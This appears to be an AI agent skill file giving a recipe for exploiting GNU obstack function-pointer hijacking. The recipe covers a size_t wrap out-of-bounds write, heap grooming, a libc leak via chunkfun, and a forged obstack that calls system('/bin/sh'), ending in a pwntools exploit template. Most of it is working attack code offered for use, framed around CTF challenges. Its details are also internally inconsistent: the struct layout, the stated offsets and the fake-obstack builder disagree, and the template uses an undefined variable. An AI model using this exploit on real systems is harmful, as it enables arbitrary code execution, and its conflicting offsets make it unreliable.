| name | gnu-obstack-exploit |
| description | How to exploit GNU obstack function-pointer hijacking vulnerabilities. Use this skill whenever the user mentions obstack, GNU obstack, chunkfun, freefun, heap exploitation, libc leaks, function pointer hijacking, or binary exploitation involving allocator state corruption. This skill covers size_t desync primitives, OOB pointer writes, libc base leaking, and fake obstack construction for arbitrary code execution. |
GNU Obstack Function-Pointer Hijacking Exploitation
This skill guides you through exploiting GNU obstack vulnerabilities to achieve arbitrary code execution via function-pointer hijacking.
When to Use This Skill
Use this skill when:
- You're analyzing a binary that uses GNU obstacks (
obstack_alloc, obstack_free, etc.)
- You've identified a heap corruption vulnerability affecting obstack structures
- You need to leak libc addresses through allocator function pointers
- You want to hijack
chunkfun or freefun for code execution
- You're working on CTF challenges involving heap exploitation and obstacks
Core Concepts
Obstack Structure Layout (glibc 2.42)
struct obstack {
char *chunk;
char *next_free;
char *chunk_limit;
long chunk_size;
void (*chunkfun)(void *, size_t);
void (*freefun)(void *, void *);
void *extra_arg;
int use_extra_arg;
};
Key offsets for exploitation:
chunkfun: +0x20 (or +0x38 in some versions)
freefun: +0x28 (or +0x40 in some versions)
extra_arg: +0x30
use_extra_arg: +0x38
The Vulnerability Pattern
GNU obstacks trigger indirect calls through chunkfun when:
next_free == chunk_limit (chunk is full)
_obstack_newchunk is called to allocate a new chunk
- The call goes through
chunkfun(extra_arg, new_size) or chunkfun(new_size)
If you can corrupt an obstack structure, you control the function pointer.
Attack Recipe
Step 1: Identify the Size_t Desync Primitive
Look for this pattern in the binary:
void *elements = obstack_alloc(obs, sizeof(void *) * size);
When compiled, sizeof(void *) * size may use a 32-bit register:
size = 0x20000000 → 0x20000000 * 8 = 0x100000000 → wraps to 0x0 in 32-bit
- Result: 0-byte allocation but logical
size remains 0x20000000
- Subsequent writes:
elements[curr++] = ptr; → 8-byte OOB pointer stores
Detection checklist:
Step 2: Groom Heap Adjacency
You need two heap objects adjacent in memory:
[Object A: pointer array with OOB write primitive]
[Object B: contains obstack pointer or obstack structure]
Grooming strategy:
- Allocate Object A (the pointer array with size wrap)
- Allocate Object B (victim object with obstack pointer)
- Ensure they're adjacent (may require freeing intermediate chunks)
- Use OOB write from A to corrupt B
Step 3: Leak libc via chunkfun
The chunkfun field contains a pointer to malloc by default.
Leak procedure:
- Use OOB write to redirect a victim pointer to the obstack structure
- Read from offset
0x20 (or 0x38) to get malloc address
- Calculate:
libc_base = malloc_addr - malloc_offset
- Derive other symbols:
system = libc_base + system_offset, binsh = libc_base + binsh_offset
Example leak code:
libc_leak = read_from_offset(victim_ptr, 0x20)
libc_base = libc_leak - libc.symbols['malloc']
print(f"libc_base: {hex(libc_base)}")
Step 4: Forge a Fake Obstack
Create attacker-controlled data that mimics an obstack header:
from pwn import p64
def create_fake_obstack(system_addr, binsh_addr, heap_leak):
fake = b""
fake += p64(0x1000)
fake += p64(heap_leak)
fake += p64(heap_leak)
fake += p64(heap_leak)
fake += p64(heap_leak)
fake += p64(0xF)
fake += p64(0)
fake += p64(system_addr)
fake += p64(0)
fake += p64(binsh_addr)
fake += p64(1)
return fake
Critical fields:
next_free == chunk_limit: Forces _obstack_newchunk on next allocation
chunkfun: Your target function (e.g., system)
extra_arg: First argument (e.g., "/bin/sh" address)
use_extra_arg = 1: Selects chunkfun(extra_arg, new_size) call form
Step 5: Trigger the Hijack
- Overwrite the victim's
struct obstack * pointer to point at your fake obstack
- Trigger any allocation on the victim obstack
_obstack_newchunk calls chunkfun(extra_arg, new_size) → system("/bin/sh")
Trigger methods:
- Call
obstack_alloc(victim_obs, any_size)
- Call
obstack_push(victim_obs, any_data)
- Any operation that requires new chunk allocation
Complete Exploit Template
from pwn import *
binary = './vulnerable_binary'
libc = ELF('./libc.so.6')
p = process(binary)
p.sendlineafter(b'size', b'536870912')
p.sendlineafter(b'cmd', b'alloc_victim')
p.sendlineafter(b'cmd', b'leak')
libc_leak = u64(p.recvline()[:6].ljust(8, b'\x00'))
libc_base = libc_leak - libc.symbols['malloc']
print(f"[*] libc_base: {hex(libc_base)}")
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
fake_obstack = create_fake_obstack(system_addr, binsh_addr, heap_leak)
p.sendlineafter(b'cmd', b'overwrite')
p.send(fake_obstack)
p.sendlineafter(b'cmd', b'alloc')
p.interactive()
Debugging Tips
Verify Obstack Offsets
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep obstack
(gdb) p sizeof(struct obstack)
(gdb) p &((struct obstack*)0)->chunkfun
Check for Size Wrap
objdump -d binary | grep -A 20 "vulnerable_function"
Verify Heap Adjacency
heap
vmmap
Common Pitfalls
- Wrong offsets: Obstruct layout varies by glibc version. Always verify offsets.
- ASLR: Remember to leak libc before calculating addresses.
- Canaries: If stack canaries are enabled, you may need to leak them first.
- PIE: If PIE is enabled, you need to leak the binary base too.
- Alignment: Obstacks may have alignment requirements. Check
alignment_mask.
References